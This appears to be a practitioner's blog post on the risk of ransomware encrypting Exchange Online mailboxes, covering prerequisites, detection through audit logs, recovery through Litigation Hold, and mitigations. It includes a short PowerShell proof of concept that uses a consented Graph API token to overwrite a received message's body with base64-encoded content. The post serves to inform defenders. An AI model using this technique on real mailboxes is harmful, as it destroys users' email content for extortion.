Exchange Online & ransomware attacks: is it a real threat?

Recently, I was asked whether a ransomware attack on Exchange Online is a real risk and, what an organization could do to protect itself against or recover from such an attack.

Before we dive into the specifics, it’s worth adding some more context. Although I’m confident that you are aware of what a ransomware attack is, what we are referring to here is the act of encrypting the contents of a user’s mailbox. In exchange for a payment (ransom), the subject would then be able to recover their data from the mailbox. It’s the same as a ‘traditional’ ransomware attack but targeted to mailboxes instead. It could be executed as a standalone attack, or in combination with a traditional one.

Can it be done?

In short, the answer is yes (and I’ll show you in this blog post how it could be done). However, it’s not as easy as one might think and there are quite some prerequisite conditions that must be met. However, given the current state of the IT security landscape and some organization’s inability to adequately protect their systems, I do believe that such an attack would impact at least customers. Harsh words, but unfortunately true.

How much of a risk is it?

I, personally, have yet to encounter such a ransomware attack of this sort. As such, the probability of it occurring is quite low. I believe it’s more likely that you will be hit with a more common ransomware attack against your hard drive’s content.

Why bother, you may wonder. The absence of proof is no proof of absence. A low probability still means that you could be hit by such an attack and it’s up to you to correctly asses how you rate this thread and whether you deem it necessary to deploy countermeasures –some of which could be expensive.

Before you go into full panic mode: things aren’t as horrible as they seem or as some might want to make you believe. There are actually a number of prerequisites that must be met, before such an attack can be successfully executed.

1. The attacker must either have direct access to the user’s mailbox. If you have MFA enabled, this becomes a lot harder to do.
2. Alternatively, the attacker (or rather the application the attacker is running) must have access to the user’s mailbox. For example, because it was granted those permissions through OAUTH by the users themselves.
3. Thirdly, a legitimate application’s permissions could be exploited too. However, that would require the application (or external service) to be breached or the logon credentials to be leaked (whether it’s username/password or key material, or).

If you are serious about IT security, neither of the above should be a huge problem or threat to you. However, this doesn’t mean there isn’t a residual risk. The scenario is particularly interesting in environments that allow users to consent to applications themselves (which is the default in Azure AD!). Without proper education (and security-minded culture), users may unknowingly be consenting to an application that looks legitimate but isn’t.

A little over a year ago, the topic of ransomware in Exchange Online was brought up in a video by Kevin Mitnick who demonstrated how a user’s consent could be exploited to encrypt mailbox content. In that video, however, all encrypted items were draft messages which are, of course, writeable. But how about messages that you received? Typically, that content cannot be edited through ‘normal’ channels like Outlook.

I personally don’t mind Kevin’s video. However, I did not like the FUD that was created in wake of it as many vendors jumped onto the bandwagon and claimed ransomware attacks in Exchange Online are prevalent (which they are not!).

Using the Graph API to modify message bodies

Anyway, let’s get back to the matter at hand. How can messages be modified? As it turns out, it’s fairly simple using the Graph Mail API. We all know the Graph API is a very powerful tool. Under the wrong/right circumstance, it could also become something that can work against you…

Although the documentation states it should only allow messages in a draft state to be updated, testing of my own (see below) proves otherwise.

To test this type of attack, I created a small PowerShell script which uses the user’s consent (and the ability to read/write messages) and connected through the Graph API. After acquiring an Authentication/Access token, I used the following query to get the first couple of messages in the inbox:

$uri = "https://graph.microsoft.com/v1.0/me/messages"

$results = Invoke-RestMethod -Uri $uri -Method GET -Headers $authToken

This query will return the 10 newest messages in the inbox. Once I got those results, I targeted the latest message by querying it’s ID (I need it later in the PATCH request):

$messageID = $results.value[0].id                                                                                                                                                                                                                         $messageID

AAMkAGU5ZGM4YWNlLWVlYzktNDI2Mi04Y2ExLTllMWEzM2FjY2IzNwBGAAAAAABZ-bo9WN2zToWNrTvLfTm_BwDnDVpJlrd-RpRKlb6pHvedAAAAP3IWAADX80qgUzwuRqUlonOH_u5wAAVeJUu6AAA=

With the message ID, you can now craft an update to the body and push it through the API:

First, I base64-encoded the body of the existing message using the following code:

$toByte = [System.Text.Encoding]::Unicode.GetBytes($results.value[0].body.content)
$EncodedBody =[Convert]::ToBase64String($toByte)

Then, I crafted the json and updated the existing message:

$newbody = @{
"inferenceClassification" = "other"
"body" = @{
"contentType" = "html"
"content" = "$($EncodedBody)"
}
} | ConvertTo-Json

Lastly, I updated the message by sending a PATCH request to the Graph API:

$uri = https://graph.microsoft.com/v1.0/me/messages/AAMkAGU5ZGM4YWNlLWVl..._u5wAAVeJUu6AAA=

Invoke-RestMethod -Headers $authToken -Uri $uri -Body $newBody -Method PATCH -ContentType 'application/json'

The result is a beautifully updated message, as you can witness from the below screenshots. I purposefully only updated the message body to show that it is the same message of which the contents were replaced:

Before the script execution:

After the script execution:

In this proof-of-concept, I only updated a single message. With a (small) modification to the script, you could easily do this in bulk though.

How can I detect such an attack?

Detecting will not be easy, considering that this attack could be executed remotely, without code residing on one of your devices. The action itself is an “update” to the object (message). As such, it will show up in the mailbox audit logs as shown in the image below:

Because of this, you could – in theory – setup an alert policy which looks for multiple occurrences of the “Update Message” activity in a short period of time. In turn, this can be a trigger to investigate what’s going on and to block the account (or application) that is performing the action.

The alert could be triggered for example in Cloud App Security, Sentinel, or a 3^rd-party solution; as long as they have access to the (mailbox) audit logs.

There is, however, a significant downside to this approach: there is a delay between the action being performed and the event showing up in the audit logs. In this window, a lot of damage could already have been done. And that doesn’t even include the time for an analyst to look into the issue and take appropriate action. Secondly, there are legitimate processes that may be updating messages in a mailbox. Although I have not tested myself, according to Ingo Gegenwarth, setting up an Outlook profile on a Mac would trigger an update of all messages and therefore definitely trigger a configured alert. Perhaps with some smart logic, you could exempt those from e.g. an activity policy in MCAS.

How about EDR solutions, you may wonder? Well, that’s an avenue I’m still exploring. The script I (interactively) executed was, obviously, not blocked. The next step for me is to test whether running it as part of a Macro would cause MDATP to block the script. Similarly, I’m also going to run it through Office ATP (by sending a message) to see if the very simple actions in the script allow it to go through or get blocked.

Can I restore items that were encrypted/modified?

This question is what originally triggered the discussion amongst a couple of MVPs. Traditionally, a backup is one way to deal with this. However, I am not a big fan of backups in Office 365 and I was looking for other ways to mitigate or otherwise prevent such an attack.

So, how about Litigation Hold? It is true that when a mailbox is placed “on hold”, updates to messages will trigger a copy of the original message to be stored in the versions folder. Through an eDiscovery search, you could find the relevant content and export it to PST or restore it in the user’s mailbox.

The problem with this approach is that 1) it isn’t very use friendly and 2) doesn’t scale very well. This being said: it does work. See the screenshots below for a second test I executed. Here, I modified the body of a message that was subject to a hold policy.

Here you can see the newest version of the message (which was modified):

But also, the original version of the message:

Alternative options

Are there alternative ways to restore data after they have become encrypted if you did not enable a hold policy on the affected mailbox(es)? Today, there doesn’t seem to be a great answer to this, partially because the risk seems very low and there don’t seem to be many who have already experienced such an attack (if at all).

In the on-premises world, Exchange’s lagged copies could also save the day as they would allow you to recover mailboxes from a specific point in time, like right before the attack happened. Although this, too, isn’t the easiest process to run through, it is feasible and a lot more feasible than using the eDiscovery-route, in my opinion.

Exchange Online also uses lagged copies. However, they are not available for you to restore from. As Tony suggested, Microsoft could come up with some mechanism that would allow administrators to request or otherwise restore data from lagged copies in Exchange Online. If this is something you believe would be useful, feel free to create a UserVoice it for it! Whether or not Microsoft will oblige remains to be seen. Ransomware attacks on OneDrive and SharePoint are a lot more likely, which is also why we have specific protection mechanisms built into those services. Until these types of attacks become widespread, I don’t think that investing in a solution for this is high on Microsoft’s priority-list and that is understandable too.

Conclusions (for now)

I have reached out to Microsoft to understand whether the ability to update message bodies through the graph API is intentionally, or potentially a bug. In case of the latter, most of this blog post becomes irrelevant as soon as the ability is taken away. However, there are still other avenues to explore. For instance: what if we would try to do the same through EWS?

In the end, I don’t believe this to be a threat that should cause hysteria or keep you up at night, unless you have zero defenses and your users tend to accept any consent-screen they will see ?

All jokes aside: I do believe it’s something to be aware of. As an organization, it’s up to you to determine how much of a risk it is to you, whether you are just going to accept the (small) risk or  what you are willing to spend to mitigate or otherwise counteract the threat.

As I have alluded to, there are several options to further lower the probability of such an attack impacting you:

1. You can setup alert policies in either MCAS (activity policy), Sentinel (query the Office Activity logs) or a third-party system. An alert could even trigger an automated action through a connected playbook.
   • Monitor from where activities are being executed. Perhaps applications that legitimately need to perform updates to message only connect from specific IP addresses. This would help you filter out false positives.
2. Block users from consenting to applications/add-ins/whatever. In large organizations, this could mean that I could get a lot busier and it does take away some flexibility from the end user. It’s a delicate balance to strike.

If, after all those countermeasures, you still feel uncomfortable, you may want to consider an (external) backup solution. But that is entirely up to you.

I’ll update this blog post as I progress in my testing over the coming days.

Thanks

I would like to thank Ingo Gegenwarth, Tony Redmond, Brandon Koeller (MSFT) and everyone else who have responded to the discussion. Their input, insights and comments are what have driven me to write this article.